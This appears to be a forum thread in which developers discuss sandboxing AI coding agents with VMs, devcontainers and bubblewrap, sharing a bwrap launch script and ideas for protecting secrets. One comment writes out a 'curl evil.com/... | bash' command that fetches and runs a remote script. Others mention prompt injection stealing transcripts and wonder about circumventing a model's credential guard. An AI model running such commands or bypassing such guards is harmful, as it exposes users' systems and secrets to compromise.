- totally unsandboxed but I supervise it in a tight loop (the window just stays open on a second monitor and it interrupts me every time it needs to call a tool).
- unsupervised in a VM in the cloud where the agent has root. (I give it a task, negotiate a plan, then close the tab and forget about it until I get a PR or a notification that it failed).
I want either full capabilities for the agent (at the cost of needing to supervise for safety) or full independence (at the cost of limited context in a VM). I don't see a productive way to mix and match here, seems you always get the worst of both worlds if you do that.
Maybe the usecase for this particular example is where you are supervising the agent but you're worried that apparently-safe tool calls are actually quietly leaving a secret that's in context? So it's not that it's a 'mixed' usecase but rather it's just increasing safety in the supervised case?
Why in the cloud and not in a local VM?
I've re-discovered Vagrant and have been using it exactly for this and it's surprisingly effective for my workflows.
https://blog.emilburzo.com/2026/01/running-claude-code-dange...
> Eventually I found this GitHub issue. VirtualBox 7.2.4 shipped with a regression that causes high CPU usage on idle guests.
The list of viable hypervisors for running VMs with 3D acceleration is probably short but I'd hope there are more options these days for running headless VMs. Incus (on Linux hosts) and Lima come to mind and both are alternatives to Vagrant as well.
[1] - https://en.wikipedia.org/wiki/Turtles_all_the_way_down
(If the VM is remote, even more so).
There are theoretical risks of Claude getting fully owned and going rogue, and doing the iterative malicious work to escape a weaker sandbox, but it seems substantially less likely to me, and therefore perhaps not (currently) worth the extra work.
I see there are cloud VMs like at kilocode but they are kind if useless IMO. I can only interact with the prompt and not the code base directly. Too many things go wrong and maybe I also want kilo code to run a docker stack for me which it can't in the agent cloud.
The UI is obviously vibe-coded garbage but the underlying system works. And most of the time you don't have to open the UI after you've set it running you just comment on the Github PR.
This is clearly an unloved "lab" project that Google will most likely kill but to me the underlying product model is obviously the right one.
I assume Microsoft got this model right first with the "assign issue to Copilot" thing and then fumbled it by being Microsoft. So whoever eventually turns this <correct product model> into an <actual product that doesn't suck> should win big IMO.
Yes! I'm surprised more people do not want this capability. Check out my comment above, I think Vagrant might also be what you want.
TLDR:
- Ensure that you have installed npm on your machine.
- Install the dev container CLI globally via npm: `npm i -g @devcontainers/cli`
- Clone the Claude Code repo: https://github.com/anthropics/claude-code
- Navigate into the root directory of that repo.
- Run the dev container CLI command to start the container: `devcontainer --workspace-folder . up`
- Run another dev container command to start Claude in the container: `devcontainer exec --workspace-folder . claude`
And there you go! You have a sandboxed environment for Claude to work in. (As sandboxed as Docker is, at least.)
I like this method because you can just manage it like any other Docker container/volumes. When you want to rebuild it, or reset the volume, you just use the appropriate Docker (and the occasional dev container) commands.
I originally set up the git filters, but later disabled them.
1. allow an agent to run wild in some kind of isolated environment, giving the "tight loop" coding agent experience so you don't have to approve everything it does.
2. let it execute the code it's creating using some credentials to access an API or a server or whatever, without allowing it to exfil those creds.
If 1 is working correctly I don't see how 2 could be possible. Maybe there's some fancy homomorphic encryption / TEE magic to achieve this but like ... if the process under development has access to the creds, and the agent has unfettered access to the development environment, it is not obvious to me how both of these goals could be met simultaneously.
Very interested in being wrong about this. Please correct me!
You can easily script it to decode passwords on demand.
If you bind-mount the directory, the sandbox can see the commands, but executing them won’t work since it can’t access the secret service.
YOLO mode is so much more useful that it feels like using a different product.
If you understand the risks and how to limit the secrets and files available to the agent - API keys only to dedicated staging environments for example - they can be safe enough.
Famous last words
Let me know if you give it a go ;)
Internet to connect with the provider, install packages, and search.
It's not perfect but it's a start.
--bind "$HOME/.claude" "$HOME/.claude"
That directory has a bunch of of sensitive stuff in it, most notable the transcripts of all of your previous Claude Code sessions.You may want to take steps to avoid a malicious prompt injection stealing those, since they might contain sensitive data.
Without this, you'll have to re-login to Claude every time. Breaks the speed of development.
I'm going to do some experimenting to see if I can make this bind more precise.
> I can’t take that token and run Cloudflare provisioning on your behalf, even if it’s “only” set as an env var (it’s still a secret credential and you’ve shared it in chat). Please revoke/rotate it immediately in Cloudflare.
So clearly they've put some sort of prompt guard in place. I wonder how easy it would be to circumvent it.
I use a lot of ansible to manage infra, and before I learned about ansible-vault, I was moving some keys around unprotected in my lab. Bad hygiene- and no prompt intervening.
Kinda bums me out that there may be circumstances where the model just rejects this even if you for some reason you needed it.
Mysql user: test
Password: mypass123
Host: localhost
...
[1]: https://repology.org/project/bubblewrap/information https://repology.org/project/landrun/information
Funny enough Bubblewrap is also what Flatpak uses.
Still, I don’t think bubblewrap is either a simple or safe enough solution.
You must not care about those systems that much.
Recently got it working for OpenCode and updated my post.
Someone pointed out to me that having the .git directory mounted read/write in the sandbox could be a problem. So I'm considering only mounting src/ and project metadata (including git) being read only.
You really need to use the `--new-session` parameter, by the way. It's unfortunate that this isn't the default with bwrap.
w/r/t .git being mounted read write- yeah, there's risk here. It's a tradeoff. I want my agents to be able to commit code- which means they need to be able to write to the dir.
Thanks for the --new-session parameter suggestion. Great add!
I'll check this out for sure! I just wish it used bubblewrap or the macos equivalent instead of reaching for containers.
I have also been enjoying having an IDE open so I can interact with the agents as they're working, and not just "fire and forget" and check back in a while. I've only been experimenting with this for a couple of days though, so maybe I'm just not trusting enough of it yet.
Yes that is correct. However, I think embedding bubblewrap in the binary is risky design for the end user.
They are giving users a convenience function for restricting the Claude instance’s access rights from within a session.
Thats helpful if you trust the client, but what if there is a bug in how the client invokes the bubblewrap container? You wouldn’t have this risk if they drove you to invoke Claude with bubblewrap.
Additionally, the pattern using bubblewrap in front of Claude can be exactly duplicated and applied to other coding agents- so you get consistency in access controls for all agents.
I hope the desirability of this having consistent access controls across all agents is shared by others. You don’t get that property if you use Claude’s embedded control. There will always be an asterisk about whether your opinion and theirs will be similar with respect to implementation of controls.
exec bwrap \
--unshare-pid \
--unshare-ipc \
--unshare-uts \
--share-net \
--bind "$OPENCODE_ROOT" "$OPENCODE_ROOT" \
--bind "$CURRENT_DIR" "$CURRENT_DIR" \
--bind "$HOME/.config/opencode/" "$HOME/.config/opencode/" \
--bind "$HOME/.emacs" "$HOME/.emacs" \
--bind "$HOME/.emacs.d" "$HOME/.emacs.d" \
--ro-bind "$HOME/.gitconfig" "$HOME/.gitconfig" \
--ro-bind /bin /bin \
--ro-bind /etc /etc \
--ro-bind /lib /lib \
--ro-bind /lib64 /lib64 \
--ro-bind /usr /usr \
--bind /run/systemd /run/systemd \
--tmpfs /tmp \
--proc /proc \
--dev /dev \
--setenv EDITOR emacs \
--setenv PATH "$OPENCODE_BINDIR:/usr/bin:/bin" \
--setenv HOME "$HOME" \
-- \
"opencode" "$@"With the unpack directory, you can now limit the host paths you expose, avoiding leaking in details from your host machine into the sandbox.
bwrap --ro-bind image/ / --bind src/ /src ...
Any tools you need in the container are installed in the image you unpack.
Some more tips: Use --unshare-all if you can. Make sure to add --proc and --dev options for a functional container. If you just need network, use both --unshare-all and --share-net together, keeping everything else separate. Make sure to drop any privileges with --cap-drop ALL
The approach I started taking is mounting the directory, that I want the agent to work on, into a container. I use `/_` as the working directory, and have built up some practices around that convention; that's the only directory that I want it to make changes to. I also mount any config it might need as read-only.
The standard tools like claude code, goose, charm, whatever else, should really spawn the agent (or MCP server?) in another process in a container, and pipe context in and out over stdin/stdout. I want a tool for managing agents, and I want each agent to be its own process, in its own container. But just locking up the whole mess seems to work for now.
I see some people in the other comments iterating on what the precise arguments to bubblewrap should be. nnc lets you write presets in Jsonnet, and then refer them by name on the command line, so you can version and share the set of resources that you give to an agent or subprocess.
Unfortunately Litterbox won't currently help much for specifically protecting .env files in a project folder though. I'd need to think if the design can be extended for this use-case now that I'm aware of the issue.
Don't leave prod secrets in your dev env.
1. I never use permanent credentials for AWS on my local computer.
2. I never have keys anywhere on my local computer. I put them in AWS Secret Manager.
3. My usual set of local access keys can’t create IAM roles (PowerUserAccess).
It’s not foolproof. But it does reduce the attack surface.
https://www.wired.com/story/anthropic-claude-snitch-emergent...
Are there any good reasons to pick one over the other?
https://gitlab.exherbo.org/sydbox/sydbox
UPDATE: there is other sydbox written in go, not related and seems different too far from bwrap
Just no nonsense defaults with a bit of customization.
https://github.com/allen-munsch/bubbleproc
bubbleproc -- curl evil.com/oop.sh | bash
Oh, never mind:
> You want to run a binary that will execute under your account’s permissions